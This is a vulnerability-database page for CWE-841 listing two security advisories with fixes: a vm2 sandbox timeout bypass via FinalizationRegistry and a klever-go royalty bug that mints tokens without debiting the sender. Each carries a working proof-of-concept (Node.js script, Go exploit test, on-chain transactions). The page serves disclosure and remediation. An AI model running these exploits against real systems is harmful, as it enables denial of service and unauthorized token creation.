Common Weakness Enumeration

CWE-841

Allowed

Improper Enforcement of Behavioral Workflow

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.

123 vulnerabilities reference this CWE, most recent first.

GHSA-R4FX-V8HH-22MV

Vulnerability from github – Published: 2026-10-05 22:35 – Updated: 2026-10-05 22:35
VLAI
Summary
vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)
Details

Vulnerability Summary

vm2's VM({ timeout }) option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to VM#run() (via doWithTimeout → this._runScript(script) in lib/vm.js). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run after that call has already returned.

FinalizationRegistry and WeakRef are exposed to sandboxed code completely unmodified — they are not present anywhere in lib/setup-sandbox.js's list of specially-wrapped/hardened globals (only WeakMap, Promise, Proxy, Reflect, etc. receive hardening there). Sandboxed code can register a FinalizationRegistry callback against an object it creates and immediately drops. VM#run() returns normally, well within the configured timeout, because registration is instant. At some later point — determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via --expose-gc) — the engine invokes the sandboxed cleanup callback directly. This invocation is not mediated by doWithTimeout, Script.runInContext({timeout}), or any other vm2 accounting mechanism, because it isn't a new call to VM#run() at all — it's the GC's own native callback-invocation path.

Affected Code & Version

  • Repository: patriksimek/vm2
  • Version tested: 3.11.6 (commit a5b31cd9c01b37139aa9c71df1c691a6d1b440f9, 2026-08-14) — the current main branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch).
  • lib/vm.js, run() (~line 501) and doWithTimeout() (~line 105): the timeout option only wraps the single call to this._runScript(script). No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call.
  • lib/setup-sandbox.js, lines 1–14: the module's captured/hardened globals list (LocalWeakMap, LocalProxy, LocalError, etc.) does not include FinalizationRegistry or WeakRef. Repo-wide grep for FinalizationRegistry|WeakRef returns zero matches in lib/, confirming neither receives any wrapping, restriction, or special handling — they are exposed to sandboxed code as bare, fully-functional constructors.

Steps to Reproduce

Environment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with npm install.

  1. Clone and install:
   git clone https://github.com/patriksimek/vm2.git
   cd vm2 && npm install
  1. Save as poc_timeout_bypass.js in the repo root:
   const { VM } = require('./lib/main.js');

   const CONFIGURED_TIMEOUT_MS = 200;
   const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });

   const t0 = Date.now();
   let runError = null;
   try {
     vm.run(`
       let target = {};
       const registry = new FinalizationRegistry(() => {
         const busyStart = Date.now();
         while (Date.now() - busyStart < 3000) { /* burn CPU, block event loop */ }
       });
       registry.register(target, 'held-value');
       target = null; // drop only strong reference -> GC-eligible
     `);
   } catch (e) { runError = e.message; }
   const t1 = Date.now();
   console.log('vm.run() returned after', t1 - t0, 'ms. Threw:', runError);

   if (!global.gc) { console.log('Re-run with --expose-gc'); process.exit(1); }
   global.gc(); global.gc();

   const timerScheduledAt = Date.now();
   setTimeout(() => {
     const delay = Date.now() - timerScheduledAt;
     console.log('Host setTimeout(10ms) actually fired after', delay, 'ms');
     console.log('Total wall time since vm.run() returned:', Date.now() - t1, 'ms');
   }, 10);
  1. Run: node --expose-gc poc_timeout_bypass.js
  2. Observed output:
   vm.run() returned after 2 ms. Threw: null
   Host setTimeout(10ms) actually fired after 3000 ms
   Total wall time since vm.run() returned: 3029 ms
  1. Interpretation: run() returned in 2ms, well inside the configured 200ms timeout — vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop — not just the sandbox — was blocked by sandboxed code running 15x longer than the configured timeout, entirely after run() had returned and outside any timeout enforcement.
  2. typeof FinalizationRegistry and typeof WeakRef inside a fresh VM() both evaluate to "function" with no wrapping, confirming the surface is reachable by design, not by an incidental leak.

Fix Recommendation

Pick one or combine:

  1. Remove FinalizationRegistry and WeakRef from the sandbox global scope by default. These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock timeout promise. Delete them from the context in lib/setup-sandbox.js alongside the other hardening done there, mirroring how other dangerous globals are handled.
  2. If they must remain available, wrap FinalizationRegistry's constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via Script.runInContext with timeout again, or by tracking cumulative CPU time via process.hrtime/Isolate::TerminateExecution if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget run() call is today.
  3. Document the gap explicitly if neither is implemented immediately: the current README/docs describe timeout as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (FinalizationRegistry) are exempt.

any application that runs untrusted code through vm2 with a timeout expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (registry.register(target, x) then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker's loop runs — with no relationship at all to the configured timeout value. Because the freeze happens asynchronously and disconnected from the triggering run() call, it also undermines incident response: by the time the hang is observed, the run() call that caused it may be long gone from logs/traces.

This is a timeout-enforcement bypass / uncontrolled resource consumption issue, not (as currently demonstrated) a proxy/realm escape to host object access — sandboxed code stays within its own realm. See "What this report does not claim" below.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:35:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Vulnerability Summary\n \nvm2\u0027s `VM({ timeout })` option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to `VM#run()` (via `doWithTimeout` \u2192 `this._runScript(script)` in `lib/vm.js`). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run *after* that call has already returned.\n \n`FinalizationRegistry` and `WeakRef` are exposed to sandboxed code completely unmodified \u2014 they are not present anywhere in `lib/setup-sandbox.js`\u0027s list of specially-wrapped/hardened globals (only `WeakMap`, `Promise`, `Proxy`, `Reflect`, etc. receive hardening there). Sandboxed code can register a `FinalizationRegistry` callback against an object it creates and immediately drops. `VM#run()` returns normally, well within the configured timeout, because registration is instant. At some later point \u2014 determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via `--expose-gc`) \u2014 the engine invokes the sandboxed cleanup callback directly. This invocation is **not** mediated by `doWithTimeout`, `Script.runInContext({timeout})`, or any other vm2 accounting mechanism, because it isn\u0027t a new call to `VM#run()` at all \u2014 it\u0027s the GC\u0027s own native callback-invocation path.\n\n## Affected Code \u0026 Version\n \n- **Repository:** `patriksimek/vm2`\n- **Version tested:** `3.11.6` (commit `a5b31cd9c01b37139aa9c71df1c691a6d1b440f9`, 2026-08-14) \u2014 the current `main` branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch).\n- **`lib/vm.js`, `run()` (~line 501) and `doWithTimeout()` (~line 105):** the `timeout` option only wraps the single call to `this._runScript(script)`. No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call.\n- **`lib/setup-sandbox.js`, lines 1\u201314:** the module\u0027s captured/hardened globals list (`LocalWeakMap`, `LocalProxy`, `LocalError`, etc.) does not include `FinalizationRegistry` or `WeakRef`. Repo-wide `grep` for `FinalizationRegistry|WeakRef` returns zero matches in `lib/`, confirming neither receives any wrapping, restriction, or special handling \u2014 they are exposed to sandboxed code as bare, fully-functional constructors.\n## Steps to Reproduce\n \nEnvironment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with `npm install`.\n \n1. Clone and install:\n```\n   git clone https://github.com/patriksimek/vm2.git\n   cd vm2 \u0026\u0026 npm install\n```\n2. Save as `poc_timeout_bypass.js` in the repo root:\n```js\n   const { VM } = require(\u0027./lib/main.js\u0027);\n \n   const CONFIGURED_TIMEOUT_MS = 200;\n   const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });\n \n   const t0 = Date.now();\n   let runError = null;\n   try {\n     vm.run(`\n       let target = {};\n       const registry = new FinalizationRegistry(() =\u003e {\n         const busyStart = Date.now();\n         while (Date.now() - busyStart \u003c 3000) { /* burn CPU, block event loop */ }\n       });\n       registry.register(target, \u0027held-value\u0027);\n       target = null; // drop only strong reference -\u003e GC-eligible\n     `);\n   } catch (e) { runError = e.message; }\n   const t1 = Date.now();\n   console.log(\u0027vm.run() returned after\u0027, t1 - t0, \u0027ms. Threw:\u0027, runError);\n \n   if (!global.gc) { console.log(\u0027Re-run with --expose-gc\u0027); process.exit(1); }\n   global.gc(); global.gc();\n \n   const timerScheduledAt = Date.now();\n   setTimeout(() =\u003e {\n     const delay = Date.now() - timerScheduledAt;\n     console.log(\u0027Host setTimeout(10ms) actually fired after\u0027, delay, \u0027ms\u0027);\n     console.log(\u0027Total wall time since vm.run() returned:\u0027, Date.now() - t1, \u0027ms\u0027);\n   }, 10);\n```\n3. Run: `node --expose-gc poc_timeout_bypass.js`\n4. **Observed output:**\n```\n   vm.run() returned after 2 ms. Threw: null\n   Host setTimeout(10ms) actually fired after 3000 ms\n   Total wall time since vm.run() returned: 3029 ms\n```\n5. **Interpretation:** `run()` returned in 2ms, well inside the configured 200ms timeout \u2014 vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop \u2014 not just the sandbox \u2014 was blocked by sandboxed code running 15x longer than the configured timeout, entirely after `run()` had returned and outside any timeout enforcement.\n6. `typeof FinalizationRegistry` and `typeof WeakRef` inside a fresh `VM()` both evaluate to `\"function\"` with no wrapping, confirming the surface is reachable by design, not by an incidental leak.\n## Fix Recommendation\n \nPick one or combine:\n \n1. **Remove `FinalizationRegistry` and `WeakRef` from the sandbox global scope by default.** These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock `timeout` promise. Delete them from the context in `lib/setup-sandbox.js` alongside the other hardening done there, mirroring how other dangerous globals are handled.\n2. **If they must remain available**, wrap `FinalizationRegistry`\u0027s constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via `Script.runInContext` with `timeout` again, or by tracking cumulative CPU time via `process.hrtime`/`Isolate::TerminateExecution` if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget `run()` call is today.\n3. **Document the gap explicitly** if neither is implemented immediately: the current README/docs describe `timeout` as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (`FinalizationRegistry`) are exempt.\n\n\nany application that runs untrusted code through vm2 with a `timeout` expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (`registry.register(target, x)` then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker\u0027s loop runs \u2014 with no relationship at all to the configured `timeout` value. Because the freeze happens asynchronously and disconnected from the triggering `run()` call, it also undermines incident response: by the time the hang is observed, the `run()` call that caused it may be long gone from logs/traces.\n \nThis is a **timeout-enforcement bypass / uncontrolled resource consumption** issue, not (as currently demonstrated) a proxy/realm escape to host object access \u2014 sandboxed code stays within its own realm. See \"What this report does not claim\" below.",
  "id": "GHSA-r4fx-v8hh-22mv",
  "modified": "2026-10-05T22:35:04Z",
  "published": "2026-10-05T22:35:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-r4fx-v8hh-22mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/fe2fcca2a1e693548993eccc624489dc4cb586b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-timeout-bypass-via-finalizationregistry"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)"
}

GHSA-V358-WF77-39XV

Vulnerability from github – Published: 2026-08-28 20:27 – Updated: 2026-08-28 20:27
VLAI
Summary
klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits
Details

Summary

In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly 100% (PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after the early-return.

Affected code

  • core/kapp/accounts/accounts.go — processPercentageRoyaltiesTransfer: split loop → if royaltiesToPay <= 0 { return Ok } → acntSrc.SubFromBalance(royaltyAmount) (debit after the early-return). Contrast the safe processFixedRoyaltiesTransfer (debit before the loop).

Impact

Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update (off-the-books).

Reachability

Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint fires on any holder's transfer of the asset — not just the owner's.

Proof of concept

Unit test

TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case does not early-return, the sender is debited, and value conserves.

Full Go PoC (core/kapp/accounts package, passes = mint confirmed) 
package accounts

import (
    "bytes"
    "encoding/hex"
    "testing"

    "github.com/stretchr/testify/require"

    commonMock "github.com/klever-io/klever-go/common/mock"
    "github.com/klever-io/klever-go/core"
    "github.com/klever-io/klever-go/core/kapp"
    "github.com/klever-io/klever-go/data/block"
    "github.com/klever-io/klever-go/data/state"
    "github.com/klever-io/klever-go/data/transaction"
    integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
    "github.com/klever-io/klever-go/kapps"
    kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)

// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
    const (
        assetIDStr     = "FUNGI-1234"
        transferValue  = int64(800)
        royaltyRatePct = uint32(500) // 5%
        royaltyAmount  = int64(40)   // 800 * 5% = 40
    )

    assetID := []byte(assetIDStr)

    // 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
    // path is not short-circuited by core.IsSmartContractAddress.
    senderAddr := bytes.Repeat([]byte{0x11}, 32)
    // Split recipient address must be a valid hex string (computeSplitRoyalties
    // hex-decodes the map key).
    recipientAddr := bytes.Repeat([]byte{0x22}, 32)
    recipientKey := hex.EncodeToString(recipientAddr)
    royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)

    buildKDA := func(splitPercent uint32) *kapps.KDAData {
        return &kapps.KDAData{
            AssetType:    kapps.KDAData_Fungible,
            OwnerAddress: senderAddr,
            Royalties: &kapps.RoyaltiesData{
                Address: royaltyReceiverAddr,
                TransferPercentage: []*kapps.RoyaltyData{
                    {Amount: 1000, Percentage: royaltyRatePct},
                },
                SplitRoyalties: map[string]*kapps.RoyaltySplitData{
                    recipientKey: {PercentTransferPercentage: splitPercent},
                },
            },
        }
    }

    type runResult struct {
        subFromCalls    int
        subFromAmount   int64
        addToRecipient  int64
        addToOwnerRem   int64
        resCode         transaction.Transaction_TXResultCode
        err             error
    }

    run := func(t *testing.T, splitPercent uint32) runResult {
        t.Helper()

        res := runResult{}

        // Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
        acntSrc := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return senderAddr },
            GetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },
            SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
                res.subFromCalls++
                res.subFromAmount += value
                return nil
            },
        }

        // Destination is irrelevant to the royalty pool accounting here.
        acntDst := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
        }

        // Split recipient: capture the credit it receives.
        splitRecipient := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return recipientAddr },
            AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
                res.addToRecipient += value
                return nil
            },
        }

        // Owner-remainder receiver (only credited when the path does NOT early-return).
        royaltyReceiver := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
            AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
                res.addToOwnerRem += value
                return nil
            },
        }

        cacher := &commonMock.AccountsCacherStub{
            LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
                if bytes.Equal(address, recipientAddr) {
                    return splitRecipient, nil
                }
                if bytes.Equal(address, royaltyReceiverAddr) {
                    return royaltyReceiver, nil
                }
                return acntSrc, nil
            },
            GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
                return royaltyReceiver, nil
            },
            UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
        }

        // All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
        // (overflow-checked percentage math), and FixMarketBuyOverflow so the
        // fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
        fc := &integrationMock.ForkControllerStub{
            KdaFprCalled:               func() bool { return true },
            EnableSmartContractsCalled: func() bool { return true },
            FixMarketBuyOverflowCalled: func() bool { return true },
        }

        kappController := &kvmStub.KAppControllerStub{
            GetCurrentKAppContextCalled: func() kapp.KappContext {
                return kapp.NewKappContext(kapp.ArgsNewKAppContext{
                    OriginalSender: senderAddr,
                    ContractID:     0,
                    ContractType:   transaction.TXContract_TransferContractType,
                    Block:          &block.Block{},
                })
            },
        }

        a := &accountsKapp{
            accountsCacher: cacher,
            forkController: fc,
            KAppController: kappController,
        }

        tc := &transaction.TransferContract{
            Amount:       transferValue,
            KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
        }

        kda := buildKDA(splitPercent)

        res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
            tc, assetID, nil, acntSrc, acntDst, kda,
        )
        return res
    }

    // ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
    t.Run("split_100pct_mints", func(t *testing.T) {
        r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config

        require.NoError(t, r.err)
        require.Equal(t, transaction.Transaction_Ok, r.resCode)

        credited := r.addToRecipient
        debited := r.subFromAmount
        mintDelta := credited - debited

        t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
        t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
        t.Logf("[100%% case] sender royalty amount debited            = %d", debited)
        t.Logf("[100%% case] owner-remainder credited                 = %d", r.addToOwnerRem)
        t.Logf("[100%% case] MINT delta (credited - debited)          = %d", mintDelta)

        // (1) split recipient WAS credited the full royaltyAmount (> 0).
        require.Equal(t, royaltyAmount, credited,
            "split recipient must receive the full royalty pool")
        require.Greater(t, credited, int64(0))

        // (2) the sender's royalty debit was NEVER called -> value created.
        require.Equal(t, 0, r.subFromCalls,
            "BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return")
        require.Equal(t, int64(0), debited)

        // credited > debited => mint of royaltyAmount.
        require.Equal(t, royaltyAmount, mintDelta,
            "fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
            mintDelta, assetIDStr)
    })

    // ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
    t.Run("split_50pct_conserves", func(t *testing.T) {
        r := run(t, core.HundredPercent/2) // 5000 == 50%

        require.NoError(t, r.err)
        require.Equal(t, transaction.Transaction_Ok, r.resCode)

        credited := r.addToRecipient + r.addToOwnerRem
        debited := r.subFromAmount

        t.Logf("[50%% case] split recipient credited      = %d", r.addToRecipient)
        t.Logf("[50%% case] owner-remainder credited       = %d", r.addToOwnerRem)
        t.Logf("[50%% case] total credited                 = %d", credited)
        t.Logf("[50%% case] sender royalty-debit calls      = %d", r.subFromCalls)
        t.Logf("[50%% case] sender royalty amount debited   = %d", debited)
        t.Logf("[50%% case] net (credited - debited)        = %d (0 => conserved)", credited-debited)

        // Sender IS debited the full royalty pool exactly once.
        require.Equal(t, 1, r.subFromCalls,
            "sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs")
        require.Equal(t, royaltyAmount, debited)

        // Split (20) + owner remainder (20) == debited (40): value conserved.
        require.Equal(t, royaltyAmount/2, r.addToRecipient)
        require.Equal(t, royaltyAmount/2, r.addToOwnerRem)
        require.Equal(t, debited, credited, "50%% case conserves: total credited == debited")
    })
}

On-chain reproduction (live single-node localnet)

Asset F07-3NG3 was created with a 10% transfer royalty (percentage: 1000) and a single 100% split (percentTransferPercentage: 10000) to address R (klv1qeh4py4…qcv2xjm). A transfer of 100,000,000,000 units (with kdaRoyalties = 10,000,000,000, i.e. the 10% pool) then produced two credit receipts: the recipient gets the 100,000,000,000 transfer, and R is credited the 10,000,000,000 royalty — while the sender was debited only the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.

Create tx — F07-3NG3, 10% transfer royalty + single 100% split to R (hash ec2a8e8d…af12bc7f) 
{
    "hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f",
    "blockNum": 104,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "contract": [
        {
            "type": 1,
            "typeString": "CreateAssetContractType",
            "parameter": {
                "type": "Fungible",
                "name": "Finding07",
                "ticker": "F07",
                "precision": 6,
                "initialSupply": 1000000000000,
                "maxSupply": 0,
                "royalties": {
                    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                    "transferPercentage": [
                        { "percentage": 1000 }
                    ],
                    "splitRoyalties": [
                        {
                            "address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                            "percentTransferPercentage": 10000
                        }
                    ]
                }
            }
        }
    ]
}
Transfer tx — royalty pool 10,000,000,000 credited to R with no source debit (hash 37527757…bf3706b1) 
{
    "hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1",
    "blockNum": 120,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 10000000000
        },
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
            "type": 0,
            "typeString": "Transfer",
            "value": 100000000000
        }
    ],
    "contract": [
        {
            "type": 0,
            "typeString": "TransferContractType",
            "parameter": {
                "assetId": "F07-3NG3",
                "toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
                "amount": 100000000000,
                "kdaRoyalties": 10000000000
            }
        }
    ]
}

Remediation

Reorder so the royalty pool is debited from the sender before the split distribution, mirroring processFixedRoyaltiesTransfer:

err := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST
// ... then the split loop and `if royaltiesToPay <= 0 { return Ok }` (now only skips a zero owner-remainder)

Add the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.19-rc2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.19-rc4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T20:27:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nIn `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is\nordered **after** the split loop and after `if royaltiesToPay \u003c= 0 { return Ok }`. The split-payout guard rejects\nonly an allocation that *exceeds* the pool (a strict `splitToPay \u003e royaltiesToPay`), so a split entry of **exactly\n100%** (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the\nearly-return **before** the sender is debited. The split recipient keeps the full royalty; the sender pays nothing\nfor it \u2192 mint. The sibling fixed-royalty path (`processFixedRoyaltiesTransfer`) debits the sender **first** and is\nsafe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after\nthe early-return.\n\n## Affected code\n- `core/kapp/accounts/accounts.go` \u2014 `processPercentageRoyaltiesTransfer`: split loop \u2192 `if royaltiesToPay \u003c= 0\n  { return Ok }` \u2192 `acntSrc.SubFromBalance(royaltyAmount)` (debit after the early-return). Contrast the safe\n  `processFixedRoyaltiesTransfer` (debit before the loop).\n\n## Impact\nUnbounded self-inflation of the transferred KDA: `royaltyAmount = transferValue \u00d7 rate` is minted to an\nowner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update\n(off-the-books).\n\n## Reachability\nOwner-gated to configure (own KDA with a `TransferPercentage` royalty + a 100% split). Once configured, the mint\nfires on **any** holder\u0027s transfer of the asset \u2014 not just the owner\u0027s.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_PercentRoyaltyZeroDebit` drives the real `processPercentageRoyaltiesTransfer` with all relevant forks\nON (`KdaFpr`, `EnableSmartContracts`, `FixMarketBuyOverflow`). With a single 100% split the recipient is credited\nthe full royalty (`40`) while the sender\u0027s `SubFromBalance` is called **0 times** (mint = 40); the 50% control case\ndoes not early-return, the sender is debited, and value conserves.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003ecore/kapp/accounts\u003c/code\u003e package, passes = mint confirmed)\u003c/summary\u003e\n\n```go\npackage accounts\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\tintegrationMock \"github.com/klever-io/klever-go/integrationTest/mock\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\tkvmStub \"github.com/klever-io/klever-go/kvm/mock/stub\"\n)\n\n// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:\n// processPercentageRoyaltiesTransfer credits the split recipient\n// inside the loop, then hits `if royaltiesToPay \u003c= 0 { return Ok }` BEFORE the\n// sender\u0027s `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split\n// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay\n// to 0 and skips the debit =\u003e the recipient keeps royaltyAmount, the sender pays\n// nothing =\u003e mint. The sibling fixed path debits FIRST, so the 50% contrast case\n// (which does NOT early-return) confirms the debit fires and value is conserved.\nfunc TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {\n\tconst (\n\t\tassetIDStr     = \"FUNGI-1234\"\n\t\ttransferValue  = 